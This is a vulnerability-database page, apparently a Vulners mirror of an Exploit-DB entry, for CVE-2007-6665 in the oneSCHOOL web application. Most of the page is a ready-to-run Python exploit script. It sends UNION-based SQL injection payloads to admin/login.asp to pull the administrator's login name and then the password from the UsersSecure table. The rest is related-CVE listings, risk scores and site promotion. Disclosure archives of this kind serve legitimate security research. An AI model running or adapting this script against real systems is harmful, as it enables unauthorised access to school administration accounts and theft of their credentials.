Lucene search
+L

oneSCHOOL - 'admin/login.asp' SQL Injection

🗓️ 31 Dec 2007 00:00:00Reported by Guga360Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

oneSCHOOL admin/login.asp SQL Injection explot

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2007-6665
4 Jan 200811:46
attackerkb
cve
CVE
CVE-2007-6665
4 Jan 200811:00
cve
cvelist
Cvelist
CVE-2007-6665
4 Jan 200811:00
cvelist
euvd
EUVD
EUVD-2007-6630
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-6665
4 Jan 200811:46
nvd
prion
Prion
Sql injection
4 Jan 200811:46
prion
#!/usr/bin/python

#oneSCHOOL admin/login.asp SQL Injection explot (for all versions)
#by Guga360.

import urllib
from sys import argv

query = {'txtOperation':'Login','txtLoginID':"""
' union select min(LoginName),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from UsersSecure where LoginName>'a'--""",'txtPassword':'x','btnSubmit':'L+O+G+I+N+%3E%3E'}

queryx = urllib.urlencode(query)

if len(argv)<>2:
    print """
    **********

    Usage:
    oneSCHOOLxpl.py [host]

    [+] Exploiting...

    [+] User: admin
    [+] Password: 123

    *******************
    """
else:
    try:
        print '\n[+] Exploting...\n'
        host = argv[1]
        if host[0:7]<>'http://':
            host = 'http://'+host
        url = urllib.urlopen(host+'/admin/login.asp', queryx)
        url = url.read()
        url = url.split()
        name = url.index('varchar')+2
        name = url[name]
        name = name.replace("'","")
        print '[+] User: ' + name
        query2 = query.copy()
        query2['txtLoginID']="""' union select min(Password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from UsersSecure where LoginName='"""+name+"""'--"""
        query2 = urllib.urlencode(query2)
        url = urllib.urlopen(host+'/admin/login.asp', query2)
        url = url.read()
        url = url.split()
        passw = url.index('varchar')+2
        passw = url[passw]
        passw = passw.replace("'","")
        print '[+] Pass: '+passw
    except:
        print '[+] Not vulnerable!'

# milw0rm.com [2007-12-31]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Dec 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02031
64